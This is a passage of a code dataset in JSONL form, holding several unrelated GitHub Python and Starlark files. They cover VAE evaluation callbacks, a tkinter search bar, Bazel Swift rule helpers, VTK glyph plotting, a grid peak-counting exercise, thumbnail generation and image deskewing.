KL=analytical_cond_kl,\n H_q_zCx=H_zCx,\n H_q_z=H_qz)\n model.train()\n return log\n\nclass ShowSamples(Evaluation):\n def __init__(self, every_n_step,ds,number=16,prefix=\"viz\"):\n \"\"\"Show samples\n\n Args:\n every_n_step (_type_): _description_\n ds (_type_): _description_\n number (int, optional): _description_. Defaults to 16, must be 8x.\n prefix (str, optional): _description_. Defaults to \"viz\".\n \"\"\"\n super().__init__(every_n_step,prefix)\n self.ds = ds\n self.number = number\n\n @torch.no_grad()\n def compute(self, model, train_dl=None):\n device = model.device\n model.eval()\n for samples in train_dl:\n xs, _ = samples\n batch_size = xs.size(0)\n xs = xs[:min(batch_size,self.number)].to(device)\n mu, logvar = model.encode(xs)\n z =sample_from_latent_distribution(mu, logvar)\n recons = model.decode(z).data.sigmoid()\n break\n\n pic = make_grid(torch.cat([recons,xs]).cpu(), 8,pad_value=1)\n fig: Image = to_pil_image(pic) \n\n model.train()\n\n trainer = model.trainer\n logger = model.trainer.logger\n # dirpath = os.path.join(trainer.log_dir, str(logger.name), logger.version)\n try:\n logger.experiment.log({os.path.join(self.prefix,'samples'):wandb.Image(fig)}) \n except Exception as e:\n dirpath = logger.log_dir\n print(e)\n os.makedirs(os.path.join(dirpath,self.prefix),exist_ok=True)\n fig.save(os.path.join(dirpath,self.prefix,f\"samples_{trainer.global_step}.png\"))\n return {}\n\nclass ComputeMetric(Evaluation):\n def __init__(self, every_n_step, metric_fn, dataset=None,prefix=\"\"):\n super().__init__(every_n_step,prefix)\n self.metric_fn = metric_fn\n self.dataset = dataset\n self.representation_fun='mean'\n\n @torch.no_grad()\n def compute(self, model, train_dl) -> dict:\n device = model.device\n model.eval()\n model.cpu()\n _encoder, _decoder = model.convert()\n def sample_latent(x):\n mu, logvar = _encoder(x)\n e = np.random.randn(*mu.shape)\n if self.representation_fun=='mean':\n return mu\n else:\n return mu + np.exp(logvar/2) *e\n if self.dataset is None:\n dataset = train_dl.dataset.datasets\n else:\n dataset = self.dataset\n result = self.metric_fn(dataset, \n sample_latent,\n np.random.RandomState(),)\n model.to(device)\n model.train()\n return result\n\nclass Traversal(Evaluation):\n def __init__(self, every_n_step,prefix=\"viz\"):\n super().__init__(every_n_step,prefix)\n\n @torch.no_grad()\n def compute(self, model, train_dl) -> dict: \n from disentanglement_lib.visualize.visualize_util import plt_sample_traversal\n device = model.device\n trainer = model.trainer\n model.eval()\n model.cpu()\n _encoder, _decoder = model.convert()\n num_latent = model.num_latent\n mu = torch.zeros(1, num_latent)\n fig = plt_sample_traversal(mu, _decoder, 8, range(num_latent), 2)\n model.to(device)\n model.train()\n \n trainer = model.trainer\n logger = model.trainer.logger\n # dirpath = os.path.join(trainer.log_dir, str(logger.name), logger.version)\n \n try:\n logger.experiment.log({os.path.join(self.prefix,'traversal'):wandb.Image(fig)})\n except Exception as e:\n dirpath = logger.log_dir\n print(e)\n os.makedirs(os.path.join(dirpath,self.prefix),exist_ok=True)\n fig.savefig(os.path.join(dirpath,self.prefix,f\"traversal_{trainer.global_step}.png\"))\n return {}\n\nclass Projection(Evaluation):\n def __init__(self, every_n_step,dataset, factor_list,latent_list,\n title=\"\", prefix=\"viz\"):\n super().__init__(every_n_step,prefix)\n self.latent_list = latent_list\n self.factor_list = factor_list\n self.title = str(factor_list)+\"->\"+str(latent_list)\n\n assert len(factor_list)==2 and len(latent_list) ==2\n\n factor_sizes = dataset.factors_num_values\n c1 = np.unique(np.linspace(0,factor_sizes[factor_list[0]]-1,7).astype(int))\n c2 = np.unique(np.linspace(0,factor_sizes[factor_list[1]]-1,7).astype(int))\n self.c1 = c1\n self.c2 = c2\n\n c = dataset.sample_factors(1,np.random.RandomState())\n c = np.repeat(c,len(c1)*len(c2),axis=0)\n c1,c2 = np.meshgrid(c1,c2,indexing='ij')\n \n c[:,factor_list[0]] = c1.flatten()\n c[:,factor_list[1]] = c2.flatten()\n\n self.x = torch.tensor(dataset.sample_observations_from_factors(c, np.random.RandomState())).permute(0,3,1,2)\n\n\n\n @torch.no_grad()\n def compute(self, model, train_dl) -> dict:\n from matplotlib.patches import Ellipse\n import matplotlib.pyplot as plt\n\n model.eval()\n with torch.no_grad():\n mu, logvar = model.encode(self.x.to(model.device).to(model.dtype))\n model.train()\n sigma = (logvar/2).exp().cpu().data\n mu = mu[:,self.latent_list].cpu().data.numpy()\n sigma2 = sigma[:,self.latent_list].numpy()*2\n\n fig, ax = plt.subplots()\n for i in range(len(mu)):\n ax.add_patch(Ellipse(mu[i],sigma2[i,0]*2,2*sigma2[i,1],alpha=0.5,color='g'))\n # 类似直径\n \n z = mu.reshape(len(self.c1),len(self.c2),2)\n for i in range(z.shape[0]):\n plt.plot(*z[i].T)\n plt.grid()\n plt.title(self.title)\n \n plt.xlabel(\"z=\"+str(self.latent_list[0]))\n plt.ylabel(\"z=\"+str(self.latent_list[1]))\n\n \n trainer = model.trainer\n logger = model.trainer.logger\n # dirpath = os.path.join(trainer.log_dir, str(logger.name), logger.version)\n try:\n logger.experiment.log({os.path.join(self.prefix,f'traversal_{self.title}'):wandb.Image(fig,caption=self.title)})\n except Exception as e:\n dirpath = logger.log_dir\n print(e)\n os.makedirs(os.path.join(dirpath,self.prefix),exist_ok=True)\n fig.savefig(os.path.join(dirpath,self.prefix,f\"traversal_{self.title}_{trainer.global_step}.png\"))\n return {}\n# note: not finished\n# class FactorMI(Evaluation):\n# def compute(self, model, train_dl=None):\n# \"\"\"\n# reference: https://github.com/rtqichen/beta-tcvae/blob/master/elbo_decomposition.py\n# :param model:\n# :param dataset_loader:\n# :return: dict(): TC, MI, DWKL\n# \"\"\"\n# dataset_loader = train_dl if train_dl else self.dl\n# N = len(dataset_loader.dataset) # number of data samples\n# K = model.num_latent # number of latent variables\n# S = 1 # number of latent variable samples\n# nparams = 2\n# qz_params = torch.Tensor(N, K, nparams)\n# y = np.zeros((N, train_dl.dataset.num_factors), dtype=np.int)\n# n = 0\n# for samples in dataset_loader:\n# xs, labels = samples\n# batch_size = xs.size(0)\n# xs = xs.view(batch_size, -1, 64, 64).to(device)\n# mu, logvar = model.encode(xs)\n# qz_params[n:n + batch_size, :, 0] = mu.data.cpu()\n# qz_params[n:n + batch_size, :, 1] = logvar.data.cpu()\n# y[n:n + batch_size] = labels\n# n += batch_size\n\n# from disentanglement_lib.evaluation.metrics import RMIG\n# log = RMIG.estimate_JEMMIG_cupy(qz_params[..., 0].numpy(), qz_params[..., 1].numpy(), y)\n# return log\n","repo_name":"erow/disentanglement_lib","sub_path":"disentanglement_lib/evaluation/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":12613,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"91"} +{"seq_id":"10326371771","text":"from tkinter import *\nfrom classes.CustomButton import *\nfrom classes.CustomLabel import *\nfrom classes.CustomEntry import *\nfrom classes.BaseClass import *\nfrom classes.InputDropdown import *\nfrom classes.events.SearchEvent import *\n\nclass SearchSection(Frame, BaseClass):\n\n def __init__(self, parent):\n Frame.__init__(self, parent)\n BaseClass.__init__(self)\n\n self.parent = parent\n self['bg'] = 'white smoke'\n\n Grid.rowconfigure(self, 0, weight=1)\n Grid.columnconfigure(self, 0, weight=1)\n Grid.columnconfigure(self, 1, weight=1)\n Grid.columnconfigure(self, 2, weight=1)\n\n self._button_switcher = CustomButton(\n self,\n view='border_green',\n text='Show Available',\n font=(self.default_font, 14, 'normal', 'bold'),\n height=1,\n width=14\n )\n self._button_switcher.grid(column=0, row=0)\n\n self._label_search = CustomLabel(\n self,\n text='Search: ',\n bg='white smoke',\n font=('Halvetica', 12, 'normal', 'normal')\n )\n self._label_search.grid(column=1, row=0, sticky=E)\n\n self._entry_search = CustomEntry(\n self,\n text='Text',\n width=50\n )\n self._entry_search.grid(column=2, row=0, padx=(0, 40), sticky=W)\n self._entry_search.bind('', self._on_entry_search_key)\n self.get_root().bind('', self._remove_focus)\n\n def _on_entry_search_key(self, event):\n self.event_dispatcher.dispatch_event(SearchEvent(SearchEvent.ASK, self._entry_search.get()))\n\n def _remove_focus(self, event):\n if event.widget == self._entry_search: return\n self.get_root().focus()\n","repo_name":"unbleaklessness/recipes-manager","sub_path":"classes/SearchSection.py","file_name":"SearchSection.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"22394712444","text":"\"\"\"\n\tpyRFM module\n\"\"\"\n__author__\t= \"\"\"Alexander Krause \"\"\"\n__date__ \t\t= \"2016-12-28\"\n__version__\t= \"0.1.0\"\n__license__ = \"GPL\"\n\n\ndef getLL(cfg):\n\t\"\"\"\n\t\tget a ready to use LinkLayer, depending on config\n\t\t\n\t\tsee examples how the config should look\n\t\"\"\"\n\tif 'pl' in cfg:\n\t\tfrom .pl import get as getPL\n\t\t\n\t\tpl=getPL(cfg['pl'])\n\telse:\n\t\tpl=None\n\t\t\n\tif 'll' in cfg:\n\t\tfrom .ll import get as getLL\n\t\tll=getLL(cfg['ll'],pl)\n\telse:\n\t\tll=None\n\t\t\n\treturn ll\n","repo_name":"switchdoclabs/SDL_Pi_SkyWeather","sub_path":"pyRFM/lib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"91"} +{"seq_id":"30515752506","text":"load(\"@bazel_skylib//lib:paths.bzl\", \"paths\")\n\ndef collect_cc_libraries(\n cc_info,\n include_dynamic = False,\n include_interface = False,\n include_pic_static = False,\n include_static = False):\n \"\"\"Returns a list of libraries referenced in the given `CcInfo` provider.\n\n Args:\n cc_info: The `CcInfo` provider whose libraries should be returned.\n include_dynamic: True if dynamic libraries should be included in the\n list.\n include_interface: True if interface libraries should be included in the\n list.\n include_pic_static: True if PIC static libraries should be included in\n the list. If there is no PIC library, the non-PIC library will be\n used instead.\n include_static: True if non-PIC static libraries should be included in\n the list.\n\n Returns:\n The list of libraries built or depended on by the given provier.\n \"\"\"\n libraries = []\n\n # TODO(https://github.com/bazelbuild/bazel/issues/8118): Remove once flag is\n # flipped.\n libraries_to_link = cc_info.linking_context.libraries_to_link\n if hasattr(libraries_to_link, \"to_list\"):\n libraries_to_link = libraries_to_link.to_list()\n\n for library in libraries_to_link:\n if include_pic_static:\n if library.pic_static_library:\n libraries.append(library.pic_static_library)\n elif library.static_library:\n libraries.append(library.static_library)\n elif include_static and library.static_library:\n libraries.append(library.static_library)\n\n if include_dynamic and library.dynamic_library:\n libraries.append(library.dynamic_library)\n if include_interface and library.interface_library:\n libraries.append(library.interface_library)\n\n return libraries\n\ndef compact(sequence):\n \"\"\"Returns a copy of the sequence with any `None` items removed.\n\n Args:\n sequence: The sequence of items to compact.\n\n Returns: A copy of the sequence with any `None` items removed.\n \"\"\"\n return [item for item in sequence if item != None]\n\ndef create_cc_info(\n additional_inputs = [],\n cc_infos = [],\n compilation_outputs = None,\n defines = [],\n includes = [],\n libraries_to_link = [],\n private_cc_infos = [],\n user_link_flags = []):\n \"\"\"Creates a `CcInfo` provider from Swift compilation info and deps.\n\n Args:\n additional_inputs: A list of additional files that should be passed as\n inputs to the final link action.\n cc_infos: A list of `CcInfo` providers from public dependencies, whose\n compilation and linking contexts should both be merged into the new\n provider.\n compilation_outputs: The compilation outputs from a Swift compile\n action, as returned by `swift_common.compile`, or None.\n defines: The list of compiler defines to insert into the compilation\n context.\n includes: The list of include paths to insert into the compilation\n context.\n libraries_to_link: A list of `LibraryToLink` objects that represent the\n libraries that should be linked into the final binary.\n private_cc_infos: A list of `CcInfo` providers from private\n (implementation-only) dependencies, whose linking contexts should be\n merged into the new provider but whose compilation contexts should\n be excluded.\n user_link_flags: A list of flags that should be passed to the final link\n action.\n\n Returns:\n A new `CcInfo`.\n \"\"\"\n all_additional_inputs = list(additional_inputs)\n all_user_link_flags = list(user_link_flags)\n all_headers = []\n if compilation_outputs:\n all_additional_inputs.extend(compilation_outputs.linker_inputs)\n all_user_link_flags.extend(compilation_outputs.linker_flags)\n all_headers = compact([compilation_outputs.generated_header])\n\n local_cc_infos = [\n CcInfo(\n linking_context = cc_common.create_linking_context(\n additional_inputs = all_additional_inputs,\n libraries_to_link = libraries_to_link,\n user_link_flags = all_user_link_flags,\n ),\n compilation_context = cc_common.create_compilation_context(\n defines = depset(defines),\n headers = depset(all_headers),\n includes = depset(includes),\n ),\n ),\n ]\n\n if private_cc_infos:\n # Merge the private deps' CcInfos, but discard the compilation context\n # and only propagate the linking context.\n full_private_cc_info = cc_common.merge_cc_infos(\n cc_infos = private_cc_infos,\n )\n local_cc_infos.append(CcInfo(\n linking_context = full_private_cc_info.linking_context,\n ))\n\n return cc_common.merge_cc_infos(cc_infos = local_cc_infos + cc_infos)\n\ndef expand_locations(ctx, values, targets = []):\n \"\"\"Expands the `$(location)` placeholders in each of the given values.\n\n Args:\n ctx: The rule context.\n values: A list of strings, which may contain `$(location)` placeholders.\n targets: A list of additional targets (other than the calling rule's\n `deps`) that should be searched for substitutable labels.\n\n Returns:\n A list of strings with any `$(location)` placeholders filled in.\n \"\"\"\n return [ctx.expand_location(value, targets) for value in values]\n\ndef get_swift_executable_for_toolchain(ctx):\n \"\"\"Returns the Swift driver executable that the toolchain should use.\n\n Args:\n ctx: The toolchain's rule context.\n\n Returns:\n A `File` representing a custom Swift driver executable that the\n toolchain should use if provided by the toolchain target or by a command\n line option, or `None` if the default driver bundled with the toolchain\n should be used.\n \"\"\"\n\n # If the toolchain target itself specifies a custom driver, use that.\n swift_executable = getattr(ctx.file, \"swift_executable\", None)\n\n # If no custom driver was provided by the target, check the value of the\n # command-line option and use that if it was provided.\n if not swift_executable:\n default_swift_executable_files = getattr(\n ctx.files,\n \"_default_swift_executable\",\n None,\n )\n\n if default_swift_executable_files:\n if len(default_swift_executable_files) > 1:\n fail(\n \"The 'default_swift_executable' option must point to a \" +\n \"single file, but we found {}\".format(\n str(default_swift_executable_files),\n ),\n )\n\n swift_executable = default_swift_executable_files[0]\n\n return swift_executable\n\ndef get_output_groups(targets, group_name):\n \"\"\"Returns files in an output group from each target in a list.\n\n The returned list may not be the same size as `targets` if some of the\n targets do not contain the requested output group. This is not an error.\n\n Args:\n targets: A list of targets.\n group_name: The name of the output group.\n\n Returns:\n A list of `depset`s of `File`s from the requested output group for each\n target.\n \"\"\"\n groups = []\n\n for target in targets:\n group = getattr(target[OutputGroupInfo], group_name, None)\n if group:\n groups.append(group)\n\n return groups\n\ndef get_providers(targets, provider, map_fn = None):\n \"\"\"Returns the given provider (or a field) from each target in the list.\n\n The returned list may not be the same size as `targets` if some of the\n targets do not contain the requested provider. This is not an error.\n\n The main purpose of this function is to make this common operation more\n readable and prevent mistyping the list comprehension.\n\n Args:\n targets: A list of targets.\n provider: The provider to retrieve.\n map_fn: A function that takes a single argument and returns a single\n value. If this is present, it will be called on each provider in the\n list and the result will be returned in the list returned by\n `get_providers`.\n\n Returns:\n A list of the providers requested from the targets.\n \"\"\"\n if map_fn:\n return [\n map_fn(target[provider])\n for target in targets\n if provider in target\n ]\n return [target[provider] for target in targets if provider in target]\n\ndef merge_runfiles(all_runfiles):\n \"\"\"Merges a list of `runfiles` objects.\n\n Args:\n all_runfiles: A list containing zero or more `runfiles` objects to\n merge.\n\n Returns:\n A merged `runfiles` object, or `None` if the list was empty.\n \"\"\"\n result = None\n for runfiles in all_runfiles:\n if result == None:\n result = runfiles\n else:\n result = result.merge(runfiles)\n return result\n\ndef owner_relative_path(file):\n \"\"\"Returns the part of the given file's path relative to its owning package.\n\n This function has extra logic to properly handle references to files in\n external repositoriies.\n\n Args:\n file: The file whose owner-relative path should be returned.\n\n Returns:\n The owner-relative path to the file.\n \"\"\"\n root = file.owner.workspace_root\n package = file.owner.package\n\n if file.is_source:\n # Even though the docs say a File's `short_path` doesn't include the\n # root, Bazel special cases anything from an external repository and\n # includes a relative path (`../`) to the file. On the File's `owner` we\n # can get the `workspace_root` to try and line things up, but it is in\n # the form of \"external/[name]\". However the File's `path` does include\n # the root and leaves it in the \"external/\" form, so we just relativize\n # based on that instead.\n return paths.relativize(file.path, paths.join(root, package))\n elif root:\n # As above, but for generated files. The same mangling happens in\n # `short_path`, but since it is generated, the `path` includes the extra\n # output directories used by Bazel. So, we pick off the parent directory\n # segment that Bazel adds to the `short_path` and turn it into\n # \"external/\" so a relative path from the owner can be computed.\n short_path = file.short_path\n\n # Sanity check.\n if (\n not root.startswith(\"external/\") or\n not short_path.startswith(\"../\")\n ):\n fail((\"Generated file in a different workspace with unexpected \" +\n \"short_path ({short_path}) and owner.workspace_root \" +\n \"({root}).\").format(\n root = root,\n short_path = short_path,\n ))\n\n return paths.relativize(\n paths.join(\"external\", short_path[3:]),\n paths.join(root, package),\n )\n else:\n return paths.relativize(file.short_path, package)\n\ndef struct_fields(s):\n \"\"\"Returns a dictionary containing the fields in the struct `s`.\n\n Args:\n s: A `struct`.\n\n Returns:\n The fields in `s` and their values.\n \"\"\"\n return {\n field: getattr(s, field)\n for field in dir(s)\n # TODO(b/36412967): Remove the `to_json` and `to_proto` checks.\n if field not in (\"to_json\", \"to_proto\")\n }\n\ndef _workspace_relative_path(file):\n \"\"\"Returns the path of a file relative to its workspace.\n\n Args:\n file: The `File` object.\n\n Returns:\n The path of the file relative to its workspace.\n \"\"\"\n workspace_path = paths.join(file.root.path, file.owner.workspace_root)\n return paths.relativize(file.path, workspace_path)\n\ndef proto_import_path(f, proto_source_root):\n \"\"\" Returns the import path of a `.proto` file given its path.\n\n Args:\n f: The `File` object representing the `.proto` file.\n proto_source_root: The source root for the `.proto` file.\n\n Returns:\n The path the `.proto` file should be imported at.\n \"\"\"\n\n # The simple repo case seems to say this branch is never happening as the\n # proto_source_root seems to always be \".\". So the general logic here likely\n # needs a revisit.\n if f.path.startswith(proto_source_root):\n return f.path[len(proto_source_root) + 1:]\n else:\n # Happens before Bazel 1.0, where proto_source_root was not\n # guaranteed to be a parent of the .proto file\n return _workspace_relative_path(f)\n","repo_name":"discord/rlottiebinding-ios","sub_path":"build-system/bazel-rules/rules_swift/swift/internal/utils.bzl","file_name":"utils.bzl","file_ext":"bzl","file_size_in_byte":12759,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"91"} +{"seq_id":"70689030064","text":"from vtkmodules.all import (\n vtkStructuredGridReader, vtkArrowSource,\n vtkGlyph3D, vtkPolyDataMapper,\n vtkActor,\n)\n\nfrom utils.window import Window\n\n\ndef create_glyph_visualizer(renderer, file_name):\n \"\"\"Create glyph 3D visualizer\"\"\"\n\n # Set reader\n reader = vtkStructuredGridReader()\n reader.SetFileName(file_name)\n\n # Set arrow\n arrow = vtkArrowSource()\n arrow.SetTipLength(0.25)\n arrow.SetTipRadius(0.1)\n arrow.SetTipResolution(10)\n\n # Set glyph 3D\n glyph = vtkGlyph3D()\n glyph.SetInputConnection(reader.GetOutputPort())\n glyph.SetSourceConnection(arrow.GetOutputPort())\n glyph.SetVectorModeToUseVector()\n glyph.SetColorModeToColorByScalar()\n\n # Uncomment one of the three methods below to set the scale mode\n glyph.SetScaleModeToDataScalingOff()\n #glyph.SetScaleModeToScaleByScalar()\n #glyph.SetScaleModeToScaleByVector()\n\n glyph.OrientOn()\n glyph.SetScaleFactor(0.2)\n\n # Set mapper\n mapper = vtkPolyDataMapper()\n mapper.SetInputConnection(glyph.GetOutputPort())\n\n # Set actor\n actor = vtkActor()\n actor.SetMapper(mapper)\n\n # Add actor to the window renderer\n renderer.AddActor(actor)\n\n\n# Execute only if run as a script\nif __name__ == '__main__':\n window = Window()\n\n create_glyph_visualizer(window.renderer, \"../resources/vtk/density.vtk\")\n\n window.create((0.0, 0.0, 300.0))","repo_name":"davydehaas98/vcs7-visualization","sub_path":"vcs7-visualization/scripts/vis_3_2_2.py","file_name":"vis_3_2_2.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"14635439725","text":"import sys\nfor i in range(1,6):\n sys.stdin = open(\"./PS/source/in{}.txt\".format(i), 'r')\n # sys.stdin = open(\"./PS/source/input.txt\", 'r')\n n = int(input())\n a = [list(map(int, input().split())) for _ in range(n)]\n for i in range(n):\n a[i].insert(0, 0)\n a[i].append(0)\n a.insert(0, [0 for _ in range(n+2)])\n a.append([0 for _ in range(n+2)])\n # 봉우리 정보\n b = [[0 for _ in range(n+2)] for _ in range(n+2)]\n for i in range(1, n+1):\n for j in range(1, n+1):\n # 봉우리를 찾았으면,\n if a[i][j] > a[i-1][j] and a[i][j] > a[i+1][j] and \\\n a[i][j] > a[i][j-1] and a[i][j] > a[i][j+1]:\n # 봉우리를 찾았는데, 해당위치의 상하좌우 중에 봉우리가 있었다면,\n if b[i-1][j] == 1 or b[i+1][j] == 1 or \\\n b[i][j-1] == 1 or b[i][j+1]:\n # 해당 봉우리 위치에 다시 0을 넣어준다.\n if b[i-1][j] == 1:\n b[i-1][j] = 0\n elif b[i+1][j] == 1:\n b[i+1][j] = 0\n elif b[i][j-1] == 1:\n b[i][j-1] = 0\n else:\n b[i][j+1] = 0\n # 현재 위치에 봉우리 표시\n b[i][j] = 1\n # 봉우리를 못 찾았으면, 다음위치 확인하기\n else:\n continue\n # 여기까지 왔으면, 봉우리들을 모두 더해준다.\n cnt = 0\n for i in range(len(b)):\n for j in range(len(b)):\n if b[i][j] == 1:\n cnt += 1\n print(cnt)\n\n\n \n \n","repo_name":"leesh5000/CS_Study","sub_path":"Practice/PS/Sec3.탐색&시뮬레이션/@봉우리.py","file_name":"@봉우리.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"43453888550","text":"import sys\nimport csv\n\n\ndata = {\n 'Afghanistan': {\n 1990: 0,\n 1991: 1,\n }\n}\n\n\nwith open('number-of-internet-users-by-country.csv', newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',')\n count = 0\n\n for row in spamreader:\n count += 1\n if count == 1:\n # skip title\n continue\n\n if len(row) == 4:\n # print(row)\n entity, code, year, user = row\n\n if entity not in data:\n data[entity] = {}\n\n pair = data[entity]\n pair[year] = user\n # data[entity]\n\n # [year] = user\n\n# data = {\n# 'Afghanistan': {\n# 1990: 0,\n# 1991: 1,\n# }\n# }\n\n\n# print(data)\n\n\ndef get_user_by_country_year(country, year):\n return str(data[country].get(str(year), 0))\n\n # # for k, v in record.items():\n # print(k, v)\n # row += 1\n # if row == 5:\n # break\n\nheader = ','.join(['year'] + list(data.keys()))\nlines = [header]\nfor year in range(2000, 2016 + 1):\n # line = [v[year] for k, v in data.items() if year in v]\n # line = get_user_by_country_year('Afghanistan', year)\n line_parts = [str(year)] + [get_user_by_country_year(country, year)\n for country in data.keys()]\n # print(line_parts)\n lines.append(','.join(line_parts))\n\nprint(*lines, sep='\\n')\nwith open('net_user_neat.csv', 'w') as fw:\n fw.write('\\n'.join(lines))\n","repo_name":"aylawang476/sharing-github","sub_path":"net_date_process.py","file_name":"net_date_process.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"3237963439","text":"import os.path\n\nfrom PIL import Image\n\nfrom KerbalStuff.config import _cfg, _cfgi, site_logger\n\n\ndef create(background_path: str, thumbnail_path: str) -> None:\n if not os.path.isfile(background_path):\n return\n\n size_str = _cfg('thumbnail_size')\n if not size_str:\n size_str = \"320x195\"\n size_str_tuple = size_str.split('x')\n size = (int(size_str_tuple[0]), int(size_str_tuple[1]))\n\n quality = _cfgi('thumbnail_quality')\n # Docs say the quality shouldn't be above 95:\n # https://pillow.readthedocs.io/en/stable/handbook/image-file-formats.html#jpeg\n if not quality or not (0 <= quality <= 95):\n quality = 80\n\n im = Image.open(background_path)\n\n # We want to resize the image to the desired size in the least costly way,\n # while not distorting it. This means we first check which side needs _less_ rescaling to reach\n # the target size. After that we scale it down while keeping the original aspect ratio.\n x_ratio = abs(im.width/size[0])\n y_ratio = abs(im.height/size[1])\n\n if x_ratio < y_ratio:\n im = im.resize((size[0], round(im.height/x_ratio)), Image.LANCZOS)\n else:\n im = im.resize((round(im.width/y_ratio), size[1]), Image.LANCZOS)\n\n # Now there's one pair of edges that already has the target length (height or width).\n # Next step is cropping the thumbnail out of the center of the down-scaled base image,\n # to also downsize the other edge pair without distorting the image.\n # We basically define the upper left and the lower right corner of the area to crop out here,\n # but we have to serve them separately (better: in one 4-tuple) to im.crop():\n # https://pillow.readthedocs.io/en/stable/reference/Image.html#PIL.Image.Image.crop\n box_left = round(0.5 * (im.width - size[0]))\n box_upper = round(0.5 * (im.height - size[1]))\n box_right = round(0.5 * (im.width + size[0]))\n box_lower = round(0.5 * (im.height + size[1]))\n im = im.crop((box_left, box_upper, box_right, box_lower))\n\n if im.mode != \"RGB\":\n im = im.convert(\"RGB\")\n im.save(thumbnail_path, 'jpeg', quality=quality, optimize=True)\n\n\ndef get_or_create(background_url: str) -> str:\n storage = _cfg('storage')\n if not storage:\n return background_url\n\n (background_directory, background_file_name) = os.path.split(background_url)\n\n thumb_file_name = os.path.splitext(background_file_name)[0] + '.jpg'\n thumb_url = os.path.join(background_directory, 'thumb_' + thumb_file_name)\n\n thumb_disk_path = os.path.join(storage, thumb_url.replace('/content/', ''))\n background_disk_path = os.path.join(storage, background_url.replace('/content/', ''))\n\n if not os.path.isfile(thumb_disk_path):\n try:\n create(background_disk_path, thumb_disk_path)\n except Exception as e:\n site_logger.exception(e)\n return background_url\n return thumb_url\n","repo_name":"net-lisias-ksph/SpaceDock","sub_path":"KerbalStuff/thumbnail.py","file_name":"thumbnail.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"91"} +{"seq_id":"19841262302","text":"import numpy as np\nimport argparse\nimport cv2\n\n\n# ap = argparse.ArgumentParser()\n# ap.add_argument(\"-i\", \"--image\", required=True, help=\"path to input image file\")\n# args = vars(ap.parse_args())\n\ndef test():\n img = cv2.imread(\"testForm.png\")\n #img = cv2.resize(img, (400,600))\n resimDondur(img)\n\ndef resimDondur(image):\n # image = cv2.imread(args[\"image\"])\n #image = cv2.imread(\"1.png\")\n\n # görüntüyü gri tonlamaya dönüştürün ve ön planı çevirin ve ön planın artık \"beyaz\" olmasını sağlamak için arka plan ve arka plan \"siyah\"\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n gray = cv2.bitwise_not(gray)\n\n thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\n\n # tüm piksel değerlerinin (x, y) koordinatlarını sıfırdan büyükse, bu koordinatları kullanarak\n # tümünü içeren döndürülmüş bir sınırlayıcı kutu hesaplayın koordinat\n coords = np.column_stack(np.where(thresh > 0))\n angle = cv2.minAreaRect(coords)[-1]\n\n print(angle)\n # \"cv2.minAreaRect\" işlevi, aralık [-90, 0); dikdörtgen saat yönünde dönerken\n # açı trendlerini 0'a döndürdü - bu özel durumda açıya 90 derece eklemeniz gerekiyor\n \n # if angle < -45:\n # angle = -(90 + angle)\n\n # # aksi takdirde, yapmak için sadece açının tersini alın olumlu\n # else:\n # angle = -angle\n\n if angle > 0 and angle<45 :\n angle = -angle\n elif angle > 45:\n angle = -(90-angle)\n\n # eğriliği gidermek için resmi döndürün\n (h, w) = image.shape[:2]\n center = (w // 2, h // 2)\n M = cv2.getRotationMatrix2D(center, angle, 1.0)\n rotated = cv2.warpAffine(image, M, (w, h),\n flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_REPLICATE)\n\n # Doğrulayabilmemiz için resmin üzerine düzeltme açısını çizin\n cv2.putText(rotated, \"Angle: {:.2f} degrees\".format(angle), (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\n\n\n print(\"[INFO] angle: {:.3f}\".format(angle))\n image = cv2.resize( image, (400,600))\n rotated = cv2.resize( rotated, (400, 600 ))\n cv2.imshow(\"Input\", image )\n cv2.imshow(\"Rotated\", rotated )\n cv2.waitKey(0)\n\ntest()","repo_name":"altaym/bb.Optik_PY","sub_path":"py/bb-rotate.py","file_name":"bb-rotate.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"14702638535","text":"class MyClass():\r\n __hiddenVariable = 0 # double underscore used to hide the variable, and hence data hiding is done.\r\n\r\n def add(self,increment):\r\n self.__hiddenVariable+= increment\r\n print (self.__hiddenVariable)\r\n\r\nobject = MyClass()\r\nobject.add(5)\r\nprint (object.__hiddenVariable) #this won't be printed.\r\n","repo_name":"Zorro30/Udemy-Complete_Python_Masterclass","sub_path":"OOP_in_Python/encapsulation.py","file_name":"encapsulation.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"} +{"seq_id":"25933068427","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 9 19:52:07 2021\n\n@author: frees\n\"\"\"\n\nimport csv\nfrom PIL import Image\nimport numpy as np\nimport cv2\nimport math\nimport sympy as sp\nimport random\nimport copy\n\n\ndef GetLine(shita,multiple,Radius,initial_phase,center,): \n u_list_multiple = []\n v_list_multiple = []\n for Degree in range (0, shita, 1):\n u_list = []\n v_list = []\n for d in range (0, multiple, 1):\n u_list.append(round(Radius * math.cos(math.radians((Degree+d/10)-90)) + center[0]))\n v_list.append(round(Radius * math.sin(math.radians((Degree+d/10)-90)) + center[1]))\n u_list_multiple.append(u_list)\n 